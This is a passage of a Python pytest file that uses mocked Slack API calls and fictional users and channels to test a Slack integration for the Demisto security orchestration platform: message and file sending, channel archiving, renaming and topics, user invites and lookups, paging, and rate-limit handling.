assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
assert demisto.getIntegrationContext()['questions'] == js.dumps(questions)
def test_send_to_user_lowercase(mocker):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'args', return_value={'to': 'glenda@south.oz.coven', 'message': 'hi'})
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_file', return_value='neat')
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['im_channel']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == 'hi'
assert send_args[5] == ''
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
def test_send_request_with_severity_user_doesnt_exist(mocker, capfd):
import Slack
mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general',
'min_severity': 'High', 'notify_incidents': True})
Slack.init_globals()
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={'severity': '3', 'message': '!!!',
'messageType': 'incidentOpened', 'to': 'alexios'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext')
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
with capfd.disabled():
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 1
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['C012AB3CD']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == '!!!'
assert send_args[5] == ''
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
def test_send_request_no_user(mocker, capfd):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_file', return_value='neat')
mocker.patch.object(Slack, 'send_message', return_value='cool')
# Arrange
with capfd.disabled():
with pytest.raises(InterruptedError):
Slack.slack_send_request('alexios', None, None, message='Hi')
err_msg = return_error_mock.call_args[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
# Assert
assert return_error_mock.call_count == 1
assert err_msg == 'Could not find any destination to send to.'
assert len(users_call) == 1
assert Slack.send_message.call_count == 0
assert Slack.send_file.call_count == 0
def test_send_request_no_severity(mocker):
import Slack
mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general',
'min_severity': 'High', 'notify_incidents': True})
Slack.init_globals()
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={'severity': '2', 'message': '!!!',
'messageType': 'incidentOpened'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
with pytest.raises(InterruptedError):
Slack.slack_send()
err_msg = return_error_mock.call_args[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
# Assert
assert return_error_mock.call_count == 1
assert err_msg == 'Either a user, group or channel must be provided.'
assert len(users_call) == 0
assert Slack.send_message.call_count == 0
def test_send_request_zero_severity(mocker):
import Slack
mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general',
'min_severity': 'High', 'notify_incidents': True})
Slack.init_globals()
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={'severity': '0', 'message': '!!!',
'messageType': 'incidentOpened'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
with pytest.raises(InterruptedError):
Slack.slack_send()
err_msg = return_error_mock.call_args[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
# Assert
assert return_error_mock.call_count == 1
assert err_msg == 'Either a user, group or channel must be provided.'
assert len(users_call) == 0
assert Slack.send_message.call_count == 0
def test_send_message(mocker):
import Slack
# Set
link = 'https://www.eizelulz.com:8443/#/WarRoom/727'
mocker.patch.object(demisto, 'investigation', return_value={'type': 1})
mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(Slack, 'send_message_to_destinations')
mocker.patch.object(Slack, 'invite_users_to_conversation')
# Arrange
Slack.send_message(['channel'], None, None, demisto.getIntegrationContext(), 'yo', None, '')
args = Slack.send_message_to_destinations.call_args[0]
# Assert
assert Slack.send_message_to_destinations.call_count == 1
assert args[0] == ['channel']
assert args[1] == 'yo' + '\nView it on: ' + link
assert args[2] is None
def test_send_message_to_destinations(mocker):
import Slack
# Set
link = 'https://www.eizelulz.com:8443/#/WarRoom/727'
mocker.patch.object(demisto, 'investigation', return_value={'type': 1})
mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(Slack, 'send_slack_request_sync')
# Arrange
Slack.send_message_to_destinations(['channel'], 'yo', None, '')
args = Slack.send_slack_request_sync.call_args[1]
# Assert
assert Slack.send_slack_request_sync.call_count == 1
assert 'http_verb' not in args
assert args['body']['channel'] == 'channel'
assert args['body']['text']
def test_send_file_to_destinations(mocker):
import Slack
# Set
link = 'https://www.eizelulz.com:8443/#/WarRoom/727'
mocker.patch.object(demisto, 'investigation', return_value={'type': 1})
mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(Slack, 'send_slack_request_sync')
# Arrange
Slack.send_file_to_destinations(['channel'], {'name': 'name', 'data': 'yo'}, None)
args = Slack.send_slack_request_sync.call_args[1]
# Assert
assert Slack.send_slack_request_sync.call_count == 1
assert 'http_verb' not in args
assert args['file_'] == 'yo'
assert args['body']['filename'] == 'name'
def test_send_message_retry(mocker):
import Slack
from slack.errors import SlackApiError
# Set
link = 'https://www.eizelulz.com:8443/#/WarRoom/727'
mocker.patch.object(demisto, 'investigation', return_value={'type': 1})
mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'invite_users_to_conversation')
# Arrange
mocker.patch.object(Slack, 'send_message_to_destinations',
side_effect=[SlackApiError('not_in_channel', None), 'ok'])
Slack.send_message(['channel'], None, None, demisto.getIntegrationContext(), 'yo', None, '')
args = Slack.send_message_to_destinations.call_args_list[1][0]
# Assert
assert Slack.send_message_to_destinations.call_count == 2
assert args[0] == ['channel']
assert args[1] == 'yo' + '\nView it on: ' + link
assert args[2] is None
def test_send_file_retry(mocker):
import Slack
from slack.errors import SlackApiError
# Set
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(Slack, 'invite_users_to_conversation')
# Arrange
mocker.patch.object(Slack, 'send_file_to_destinations',
side_effect=[SlackApiError('not_in_channel', None), 'ok'])
Slack.send_file(['channel'], 'file', demisto.getIntegrationContext(), None)
args = Slack.send_file_to_destinations.call_args_list[1][0]
# Assert
assert Slack.send_file_to_destinations.call_count == 2
assert args[0] == ['channel']
assert args[1] == 'file'
assert args[2] is None
def test_close_channel_with_name(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'channel': 'general'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.close_channel()
close_args = slack.WebClient.api_call.call_args
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 1
assert slack.WebClient.api_call.call_count == 1
assert success_results[0] == 'Channel successfully archived.'
assert close_args[0][0] == 'conversations.archive'
assert close_args[1]['json']['channel'] == 'C012AB3CD'
def test_close_channel_should_delete_mirror(mocker):
from Slack import close_channel
# Set
mirrors = js.loads(MIRRORS)
mirrors.pop(0)
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(slack.WebClient, 'api_call')
# Arrange
close_channel()
archive_args = slack.WebClient.api_call.call_args
context_args = demisto.setIntegrationContext.call_args[0][0]
context_args_mirrors = js.loads(context_args['mirrors'])
# Assert
assert archive_args[0][0] == 'conversations.archive'
assert archive_args[1]['json']['channel'] == 'GKQ86DVPH'
assert context_args_mirrors == mirrors
def test_close_channel_should_delete_mirrors(mocker):
from Slack import close_channel
# Set
mirrors = js.loads(MIRRORS)
mirrors.pop(1)
mirrors.pop(1)
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'investigation', return_value={'id': '684'})
mocker.patch.object(slack.WebClient, 'api_call')
# Arrange
close_channel()
archive_args = slack.WebClient.api_call.call_args
context_args = demisto.setIntegrationContext.call_args[0][0]
context_args_mirrors = js.loads(context_args['mirrors'])
# Assert
assert archive_args[0][0] == 'conversations.archive'
assert archive_args[1]['json']['channel'] == 'GKB19PA3V'
assert context_args_mirrors == mirrors
def test_get_conversation_by_name_paging(mocker):
from Slack import get_conversation_by_name
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'conversations.list':
if len(params) == 2:
return {'channels': js.loads(CONVERSATIONS), 'response_metadata': {
'next_cursor': 'dGVhbTpDQ0M3UENUTks='
}}
else:
return {'channels': [{
'id': 'C248918AB',
'name': 'lulz'
}], 'response_metadata': {
'next_cursor': ''
}}
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Arrange
channel = get_conversation_by_name('lulz')
args = slack.WebClient.api_call.call_args_list
first_args = args[0][1]
second_args = args[1][1]
# Assert
assert args[0][0][0] == 'conversations.list'
assert len(first_args['params']) == 2
assert first_args['params']['limit'] == 200
assert len(second_args['params']) == 3
assert second_args['params']['cursor'] == 'dGVhbTpDQ0M3UENUTks='
assert channel['id'] == 'C248918AB'
assert slack.WebClient.api_call.call_count == 2
def test_send_file_no_args_investigation(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'getFilePath', return_value={'path': 'path', 'name': 'name'})
mocker.patch('builtins.open', mock_open(read_data="data"))
mocker.patch.object(demisto, 'results')
mocker.patch.object(Slack, 'slack_send_request', return_value='cool')
# Arrange
Slack.slack_send_file()
send_args = Slack.slack_send_request.call_args
success_results = demisto.results.call_args[0]
# Assert
assert Slack.slack_send_request.call_count == 1
assert success_results[0] == 'File sent to Slack successfully.'
assert send_args[0][1] == 'incident-681'
assert send_args[1]['file'] == {
'data': 'data',
'name': 'name',
'comment': ''
}
def test_send_file_no_args_no_investigation(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'slack_send_request', return_value='cool')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
# Arrange
with pytest.raises(InterruptedError):
Slack.slack_send_file()
err_msg = return_error_mock.call_args[0][0]
# Assert
assert Slack.slack_send_request.call_count == 0
assert err_msg == 'Either a user, group or channel must be provided.'
def test_set_topic(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'topic': 'ey'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.set_channel_topic()
send_args = slack.WebClient.api_call.call_args
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 1
assert slack.WebClient.api_call.call_count == 1
assert success_results[0] == 'Topic successfully set.'
assert send_args[0][0] == 'conversations.setTopic'
assert send_args[1]['json']['channel'] == 'C012AB3CD'
assert send_args[1]['json']['topic'] == 'ey'
def test_set_topic_no_args_investigation(mocker):
import Slack
# Set
new_mirror = {
'channel_id': 'GKQ86DVPH',
'channel_name': 'incident-681',
'channel_topic': 'ey',
'investigation_id': '681',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': True
}
mocker.patch.object(demisto, 'args', return_value={'topic': 'ey'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.set_channel_topic()
send_args = slack.WebClient.api_call.call_args
success_results = demisto.results.call_args[0]
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
our_mirror_filter = list(filter(lambda m: '681' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert slack.WebClient.api_call.call_count == 1
assert success_results[0] == 'Topic successfully set.'
assert send_args[0][0] == 'conversations.setTopic'
assert send_args[1]['json']['channel'] == 'GKQ86DVPH'
assert send_args[1]['json']['topic'] == 'ey'
assert new_mirror == our_mirror
def test_set_topic_no_args_no_investigation(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'topic': 'ey'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '9999'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
# Arrange
with pytest.raises(InterruptedError):
Slack.set_channel_topic()
err_msg = return_error_mock.call_args[0][0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.'
def test_invite_users(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'users': 'spengler, glinda'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(Slack, 'invite_users_to_conversation')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.invite_to_channel()
send_args = Slack.invite_users_to_conversation.call_args[0]
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 1
assert Slack.invite_users_to_conversation.call_count == 1
assert success_results[0] == 'Successfully invited users to the channel.'
assert send_args[0] == 'C012AB3CD'
assert send_args[1] == ['U012A3CDE', 'U07QCRPA4']
def test_invite_users_no_channel(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'})
mocker.patch.object(Slack, 'invite_users_to_conversation')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.invite_to_channel()
send_args = Slack.invite_users_to_conversation.call_args[0]
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert Slack.invite_users_to_conversation.call_count == 1
assert success_results[0] == 'Successfully invited users to the channel.'
assert send_args[0] == 'GKQ86DVPH'
assert send_args[1] == ['U012A3CDE', 'U07QCRPA4']
def test_invite_users_no_channel_doesnt_exist(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '777'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'})
mocker.patch.object(Slack, 'invite_users_to_conversation')
mocker.patch.object(demisto, 'results')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
# Arrange
with pytest.raises(InterruptedError):
Slack.invite_to_channel()
err_msg = return_error_mock.call_args[0][0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert Slack.invite_users_to_conversation.call_count == 0
assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.'
def test_kick_users(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'users': 'spengler, glinda'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(Slack, 'kick_users_from_conversation')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.kick_from_channel()
send_args = Slack.kick_users_from_conversation.call_args[0]
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 1
assert Slack.kick_users_from_conversation.call_count == 1
assert success_results[0] == 'Successfully kicked users from the channel.'
assert send_args[0] == 'C012AB3CD'
assert send_args[1] == ['U012A3CDE', 'U07QCRPA4']
def test_kick_users_no_channel(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'})
mocker.patch.object(Slack, 'kick_users_from_conversation')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.kick_from_channel()
send_args = Slack.kick_users_from_conversation.call_args[0]
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert Slack.kick_users_from_conversation.call_count == 1
assert success_results[0] == 'Successfully kicked users from the channel.'
assert send_args[0] == 'GKQ86DVPH'
assert send_args[1] == ['U012A3CDE', 'U07QCRPA4']
def test_kick_users_no_channel_doesnt_exist(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '777'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'})
mocker.patch.object(Slack, 'invite_users_to_conversation')
mocker.patch.object(demisto, 'results')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
# Arrange
with pytest.raises(InterruptedError):
Slack.kick_from_channel()
err_msg = return_error_mock.call_args[0][0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert Slack.invite_users_to_conversation.call_count == 0
assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.'
def test_rename_channel(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'name': 'ey'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.rename_channel()
send_args = slack.WebClient.api_call.call_args
success_results = demisto.results.call_args[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 1
assert slack.WebClient.api_call.call_count == 1
assert success_results[0] == 'Channel renamed successfully.'
assert send_args[0][0] == 'conversations.rename'
assert send_args[1]['json']['channel'] == 'C012AB3CD'
assert send_args[1]['json']['name'] == 'ey'
def test_rename_no_args_investigation(mocker):
import Slack
# Set
new_mirror = {
'channel_id': 'GKQ86DVPH',
'channel_name': 'ey',
'channel_topic': 'incident-681',
'investigation_id': '681',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': True
}
mocker.patch.object(demisto, 'args', return_value={'name': 'ey'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
# Arrange
Slack.rename_channel()
send_args = slack.WebClient.api_call.call_args
success_results = demisto.results.call_args[0]
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
our_mirror_filter = list(filter(lambda m: '681' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert slack.WebClient.api_call.call_count == 1
assert success_results[0] == 'Channel renamed successfully.'
assert send_args[0][0] == 'conversations.rename'
assert send_args[1]['json']['channel'] == 'GKQ86DVPH'
assert send_args[1]['json']['name'] == 'ey'
assert new_mirror == our_mirror
def test_rename_no_args_no_investigation(mocker):
import Slack
# Set
mocker.patch.object(demisto, 'args', return_value={'name': 'ey'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '9999'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'})
mocker.patch.object(slack.WebClient, 'api_call')
mocker.patch.object(demisto, 'results')
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
# Arrange
with pytest.raises(InterruptedError):
Slack.rename_channel()
err_msg = return_error_mock.call_args[0][0]
# Assert
assert Slack.get_conversation_by_name.call_count == 0
assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.'
def test_get_user(mocker):
from Slack import get_user
# Set
mocker.patch.object(demisto, 'args', return_value={'user': 'spengler'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
# Arrange
get_user()
user_results = demisto.results.call_args[0]
assert user_results[0]['EntryContext'] == {'Slack.User(val.ID === obj.ID)': {
'ID': 'U012A3CDE',
'Username': 'spengler',
'Name': 'Egon Spengler',
'DisplayName': 'spengler',
'Email': 'spengler@ghostbusters.example.com',
}}
def test_get_user_by_name_paging_rate_limit(mocker):
from Slack import get_user_by_name, init_globals
from slack.errors import SlackApiError
from slack.web.slack_response import SlackResponse
import time
# Set
init_globals()
err_response: SlackResponse = SlackResponse(api_url='', client=None, http_verb='GET', req_args={},
data={'ok': False}, status_code=429, headers={'Retry-After': 30})
first_call = {'members': js.loads(USERS), 'response_metadata': {'next_cursor': 'dGVhbTpDQ0M3UENUTks='}}
second_call = SlackApiError('Rate limit reached!', err_response)
third_call = {'members': [{'id': 'U248918AB', 'name': 'alexios'}], 'response_metadata': {'next_cursor': ''}}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=[first_call, second_call, third_call])
mocker.patch.object(time, 'sleep')
# Arrange
user = get_user_by_name('alexios')
args = slack.WebClient.api_call.call_args_list
first_args = args[0][1]
second_args = args[2][1]
# Assert
assert len(first_args['params']) == 1
assert first_args['params']['limit'] == 200
assert len(second_args['params']) == 2
assert second_args['params']['cursor'] == 'dGVhbTpDQ0M3UENUTks='
assert user['id'] == 'U248918AB'
assert slack.WebClient.api_call.call_count == 3
def test_get_user_by_name_paging_rate_limit_error(mocker):
from Slack import get_user_by_name, init_globals
from slack.errors import SlackApiError
from slack.web.slack_response import SlackResponse
import time
# Set
init_globals()
err_response: SlackResponse = SlackResponse(api_url='', client=None, http_verb='GET', req_args={},
data={'ok': False}, status_code=429, headers={'Retry-After': 40})
first_call = {'members': js.loads(USERS), 'response_metadata': {'next_cursor': 'dGVhbTpDQ0M3UENUTks='}}
second_call = SlackApiError('Rate limit reached!', err_response)
third_call = {'members': [{'id': 'U248918AB', 'name': 'alexios'}], 'response_metadata': {'next_cursor': ''}}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=[first_call, second_call, second_call, third_call])
mocker.patch.object(time, 'sleep')
# Arrange
with pytest.raises(SlackApiError):
get_user_by_name('alexios')
args = slack.WebClient.api_call.call_args_list
first_args = args[0][1]
# Assert
assert len(first_args['params']) == 1
assert first_args['params']['limit'] == 200
assert slack.WebClient.api_call.call_count == 3
def test_get_user_by_name_paging_normal_error(mocker):
from Slack import get_user_by_name, init_globals
from slack.errors import SlackApiError
from slack.web.slack_response import SlackResponse
# Set
init_globals()
